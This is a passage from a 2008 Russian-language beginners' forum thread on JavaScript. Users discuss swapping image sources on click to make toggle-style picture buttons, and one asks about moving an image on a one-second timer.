{document.all.itog.innerHTML="kartinka2";}
else
{
if (dat1==2)
{document.all.itog.innerHTML="kartinka3";}
else
{
if (dat1==3)
{document.all.itog.innerHTML="kartinka4";}
else
{
if (dat1==4)
{document.all.itog.innerHTML="kartinka5";}
else
{document.all.itog.innerHTML="kartinka1";}
}
}
}
}
</sсriрt> и код картинок: <FORM name="on_off_form" method="post">
<img onClick="onoff (0)" src="images/b_n1.png">
<img onClick="onoff (1)" src="images/b_v0.png">
<img onClick="onoff (2)" src="images/b_f0.png">
<img onClick="onoff (3)" src="images/b_g0.png">
<img onClick="onoff (4)" src="images/b_h0.png">
</FORM> Мне нужно сделать замену картинки по нажатию. Эти картинки представляют из себя кнопки. Т. е. для каждой кнопки есть два файла: обычное состояние и нажатое (в коде 1 - нажатое, 0 - обычное). Если нажата одна картинка, то остальные в обычном состоянии. Если нажата вторая, то она становится нажатой, а остальные возвращаются в исходное состояние. Как такую замену адреса рисунка можно повесить на "onClick"? Есть ли альтернатива на JS? ПС: Тег формы должен быть один на странице. Надеюсь объяснил понятно, а то сначала сам не разобрался, что написал :)
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:35:36.590000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
хз, посмотри здесь, может что найдешь, что тебе надо (в исходном коде странички) http://pashkela.narod.ru/prikol.html
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:39:52.043333
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Нет, это не то. Мне нужна не галерея, а что-то вроде http://www.microsoft.com/en/us/default.aspx слева внизу, но по нажатию. И ссылки не текстом, а картинками. Как сделать смену информации я написал, а как сделать смену адреса нажатой картинки?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:57:18.580000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
window.location.href='http://новый_адрес';
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:07:04.273333
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Наверно я неправильно объяснил :) Нужно изменить атрибут "src" в теге картинки
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:21:24.466666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
http://www.webmasterworld.com/forum91/3975.htm
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 23:40:16.210000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Ок, спасибо, буду разбираться
UPD: Если кому-то интересно, как я выкрутился: для каждой картинки я вставлял примерно такой код: <div id="i1" onClick="document.i1.src=i1on.src; document.i2.src=i2off.src; document.i3.src=i3off.src; document.i4.src=i4off.src; document.i5.src=i5off.src;">
<sсriрt type="text/javasсriрt">
i1on=new Image(); i1on.src="images/b_n1.png";
i2off=new Image(); i2off.src="images/b_p0.png";
i3off=new Image(); i3off.src="images/b_z0.png";
i4off=new Image(); i4off.src="images/b_f0.png";
i5off=new Image(); i5off.src="images/b_o0.png";
</sсriрt>
<img class="b" src="images/b_n1.png" onClick="onoff (0)" name="i1" border="0" width="100%" height="100%" alt="">
</div> и менял соответсвенно в каждом слое id, on/off.src и "name" рисунка. Все получается, но код увеличился примерно в 5-6 раз. Сейчас буду оптимизировать :)
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-12 01:08:38.443333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
мдя.. на форуме яваскрипт ру есть ответ проще) лень щас идти искать на нём.. если завтро будет не лениво выложу или сам поищи
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-12 01:39:50.020000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
quote:
ORIGINAL: magistr_bender мдя.. на форуме яваскрипт ру есть ответ проще) лень щас идти искать на нём.. если завтро будет не лениво выложу или сам поищи Может быть я не там искал, но нашел вариант с чекбоксами. Мне он не подходил, т. к. одновременно могли быть выделены несколько картинок.
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-12 11:40:16.280000
|
|
|
АнтонММФ
Сообщений: 1364
Оценки: 0
Присоединился: 2007-06-11 08:58:50.760000
|
Люди, как сделать так, чтобы циклично по прошествии 1 секунды (то есть каждую секунду) картинка меняла положение на странице (например на 10 пикселей вправо и вниз)? Пытался реализовать через setTimeout, но не допёр, как сделать цикличность…
|
|
|
|
|